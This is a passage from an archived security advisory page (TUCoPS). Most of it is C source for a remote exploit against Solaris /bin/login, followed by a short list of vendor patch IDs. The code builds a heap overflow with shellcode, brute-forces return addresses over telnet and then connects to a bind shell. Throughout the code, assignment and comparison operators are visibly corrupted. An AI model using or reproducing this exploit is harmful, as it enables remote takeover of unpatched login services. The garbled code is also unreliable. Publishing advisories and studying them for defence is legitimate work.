	                            fprintf(stderr, \"Connection closed.\\n\");

	                            exit(0);

	                        }

	                        fprintf(stderr, \"%s\", buf);

	                }

	

	                if(FD_ISSET(fileno(stdin), &fds))

	                {   

	                    memset(buf, 0x0, sizeof(buf));

	                    read(fileno(stdin), buf, sizeof(buf) - 1);

	                    write(sock, buf, strlen(buf));

	                }

	        }

	        return sock;

	}

	int do_telnet_negotation(char *host, int port)

	{

	        struct sockaddr_in s;

	        int fd, ret;

	        u_char c, buf[3];

	        struct hostent *h;

	        

	        s.sin_family            AF_INET;

	        s.sin_port              htons(port);

	        s.sin_addr.s_addr       inet_addr(host);

	

	        if ((h=gethostbyname(host))= NULL)

	        {

	                fprintf(stderr, \"cannot resolve: %s : %s\\n\", host,

	strerror(errno));

	                return -1;

	        }

	                

	        memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,

	sizeof(h->h_addr));

	                

	        if ( (fd socket (AF_INET, SOCK_STREAM, 0))= -1)

	                return fd;

	                

	        if (connect (fd, (struct sockaddr *)&s, sizeof(s))= -1)

	        {

	                close (fd);

	                return -1;

	        }

	        

	        // send DONT\'s for all the DO\'s... ;)

	        send_ww(fd, TELOPT_TTYPE, WONT);

	        send_ww(fd, TELOPT_NAWS, WONT);

	        send_ww(fd, TELOPT_XDISPLOC, WONT);

	        send_ww(fd, TELOPT_NEW_ENVIRON, WONT);

	        send_ww(fd, TELOPT_OLD_ENVIRON, WONT);

	        send_ww(fd, TELOPT_BINARY, WILL);

	        

	        return fd;

	}

	

	int setup_exploit(char *buffer, unsigned long retl, unsigned long reta,

	int bf) {

	        int i,j;

	        char *ptr;

	        char buf[3000]; 

	        char blah[512];

	        unsigned long *a;

	        unsigned long strncpy_addr 0xffbef2a8;  

	        unsigned long chunk_size 0xffffffd5;

	        unsigned long chunk 0xfffffff0;   

	        unsigned long free_addr 0x20026eec;

	#ifndef SOLARIS

	        shift(&strncpy_addr);

	        shift(&chunk_size);

	        shift(&chunk);

	        shift(&free_addr);

	#endif           

		fprintf(stderr, \"Solaris /bin/login array mismangement exploit by

	morgan@sexter.com\\n\");

		fprintf(stderr, \"<matthew> I\'ve brought more terror to this network

	then Shdwknght to a chinese food buffet.\\n\\n\");

		if(!bf) {

			fprintf(stderr, \"using %#x as return address\\n\", reta);

			fprintf(stderr, \"using %#x as return location\\n\", retl);

		}

		else fprintf(stderr, \"trying return address %#x\\n\", reta);

	

	        memset(&buf[0], 0x41, 512);

	        // SETUP FIRST CHUNK

	        // size -44+1

	        ptr &buf[36];

		memcpy(ptr, &chunk_size, 4); 

	

	        // SETUP CHUNK numbah 2

	        retl -= 32;

	        reta -= 8;

	#ifndef SOLARIS

		shift(&retl);

		shift(&reta);

	#endif

	        ptr buf;

	

		memcpy(ptr, &chunk, 4);

	        // second addr free\'d 

		memcpy(ptr+4, &free_addr, 4);

	        memcpy(ptr+8, (void *)&retl, 4);

	        memset(ptr+16, 0xff, 4);

	        memcpy(ptr+32, (void *) &reta, 4);

	

	        // fake chunk built.. setting up overflow..

	        for(i=0; i < 256; i++) {

	            if( i < 63 || i > 190) 

	                blah[i] 0x41;

	            else  {

	                blah[i++] 0x20;

	                blah[i] 0x41;

	            }

	        }

	

	        //free addr 1 send in addr of mem

		memcpy(blah+252, &free_addr, 4);

	

		memcpy(blah+204, &strncpy_addr, 4);

	

	        blah[256] 0x00;

	

	

	        // add shellcode to end of buf

	        // pad with nops.. more is better... but not too many..

	        for(i=511-sizeof(shellcode)-2-4*NOPS; i <

	511-sizeof(shellcode); i+=4) 

	                memcpy(&buf[i], nop, sizeof(nop)-1);

	        memcpy(&buf[511-sizeof(shellcode)-2], shellcode,

	sizeof(shellcode));

	

	

	        // convert nulls to space..

	        for(i=0,j=0;i<511;i++) {

	                if(buf[i]= 0x00) {

	                        buf[i] 0x20; j++; }

	        }

	        buf[511] 0x00;

	

	        sprintf(buffer,\"%s%s\\n\", &blah,&buf);

	

	        return;

	}

	

	int main(int argc, char **argv) {

	        int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001;

	        char out[1024];

	        char in[24];

	        char ret[] \"\\x0a\";

	        char *host;

		unsigned char bshell 0xd5;

	        char cc;

	        unsigned long reta, retl;

	

	

	        FILE *login;

	

	        retl 0x20026fc8;

	        reta  0xffbef864;

	        if(argc < 2)

	                usage(argv);

	         

	        while((c getopt(argc, argv, \"r:l:p:et:b\")) != EOF){

	                switch(c){     

	                case \'r\':

	                    reta strtoul(optarg, NULL, 0);

	                    break;

	                case \'l\':

	                    retl strtoul(optarg, NULL, 0);    

	                    break;

	                case \'p\':

	                    port atoi(optarg);

	                    break;

	                case \'e\':

	                    local=1;

	                    break;

	                case \'t\':

	                    type atoi(optarg);

	                    if(type < 0 || type > 2){ 

	                        fprintf(stderr, \"invalid target\\n\");

	                        usage(argv);

				exit(0);

	                    }

	                    if(strstr(targets[type].name, \"local\")) 

	                        local 1;

	                    retl targets[type].retl;

	                    reta targets[type].reta;

	                    break;

			case \'b\':

			    bf=1;

			    break;

	                }

	        }

	

	        if(!local) {

	                if(!argv[optind] || !*argv[optind])

	                        usage(argv);

	

	                host argv[optind];

	        }

		

	        if(local) {

	                fprintf(stderr, \"Local execution mode.. make sure to run

	%s [args] | /bin/login\\n\", argv[0]);

	                fprintf(stderr, \"first wait for Password: prompt.. hit

	enter then,\");

	                fprintf(stderr, \"wait for Login incorrect, and attempt

	to connect to localhost on %d\\n\", remp);

	

	        }

		if(bf) {

			 reta 0xffbef800;

		}		

	

	

		for(;reta < 0xffbef8ff; reta+=4) {

			memset(out, 0, sizeof(out));

		        setup_exploit(out, retl, reta, bf);

	

		        if(local) {

				if(bf) {

					fprintf(stderr, \"not supported do it manually you lazy fuck\\n\");

					exit(0);

				}

		                printf(\"%s\", out);

	       	 	}

	        	else {

				char *ptr=in;

	                	fd do_telnet_negotation (host, port);

	

	                	memset(in, 0, sizeof(in));

	

	                	while (!strstr(ptr, \":\")) {

					 if(ptr=&in[0]) {

						 memset(in, 0, sizeof(in));

		                	         if(read(fd, in, sizeof(in)-2) < 0)

	      						die(\"Failed read waiting for login: \");

					 }

					 for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);

					 if( ptr=&in[sizeof(in)-2] || (ptr[0]=0 && ptr[1]=0)) 

					     ptr &in[0];

					 else 

					     ptr++;

	

	                	}

				memset(in, 0, sizeof(in));

				fprintf(stdout, \"Read login, sending bad user string now\\n\");

	                	write_with_iac(fd, out, strlen(out));

	                        fprintf(stdout, \"waiting for password... \");

	

	                       while (!strstr(ptr, \":\")) {

	                                 if(ptr=&in[0]) {

	                                         memset(in, 0, sizeof(in));

	                                         if(read(fd, in, sizeof(in)-2) <0)

	                                                die(\"Failed read waitingfor password: \");

	                                 }

	                                 for(;ptr < &in[sizeof(in)-1] && ptr[0]!= 0; ptr++);

	                                 if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0))  ptr &in[0];

	                                 else ptr++;

	                        }        

	                	memset(in, 0, sizeof(in));

	                        fprintf(stdout, \"read Password: \\nsending enternow\\n\");

	

	                	if(write(fd, ret, strlen(ret)) < 0)

	     				die(\"Write failed on password\");

	

	                        fprintf(stdout, \"Sent overflow string....waiting for Login incorrect\\n\");

				while (!strstr(ptr, \"correct\")) {

	                                 if(ptr=&in[0]) {

	                                         memset(in, 0, sizeof(in));

	                                         if(read(fd, in, sizeof(in)-2) <0)

	                                                die(\"Failed read waiting for Login Incorrect \");

	                                 }

	                                 for(;ptr < &in[sizeof(in)-1] && ptr[0]!=0; ptr++);

	                                 if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0))

	                                     ptr &in[0];

	                                 else

	                                     ptr++;

	                                 

	                        }        

	                        fprintf(stdout, \"Got it!\\n\");

	                        fprintf(stdout, \"lets connect to our bindshell..\\n\");

	

				close(connect_shell(host, remp));

				

	                	close(fd);

	        	}

			if(!bf) return;

		}

	   	fprintf(stderr, \"connection closed.\\n\");

	

	        return;

	}

	

SOLUTION

	All vendors has released patches.
	

	Sun:
	

	

	    111085-02 SunOS 5.8: /usr/bin/login patch

	    111086-02 SunOS 5.8_x86: /usr/bin/login patch

	    112300-01 SunOS 5.7:: usr/bin/login Patch

	    112301-01 SunOS 5.7_x86:: usr/bin/login Patch

	    105665-04 SunOS 5.6: /usr/bin/login patch

	    105666-04 SunOS 5.6_x86: /usr/bin/login patch

	    106160-02 SunOS 5.5.1: /usr/bin/login patch

	    106161-02 SunOS 5.5.1_x86: /usr/bin/login patch

	

	

	Caldera :
	

	

		ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.40/

	

		erg711877.506.tar.Z is the patch for SCO OpenServer Release

		5.0.6, with or without Release Supplement 5.0.6a (rs506a).

		Note that other security issues are corrected by rs506a; we

		strongly recommend installing it on all 5.0.6 systems.

	

		erg711877.505.tar.Z is the patch for SCO OpenServer Release

		5.0.5 and earlier.  Although it should work with all releases

		5.0.0 through 5.0.5, it has not yet been tested on every

		release.

	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH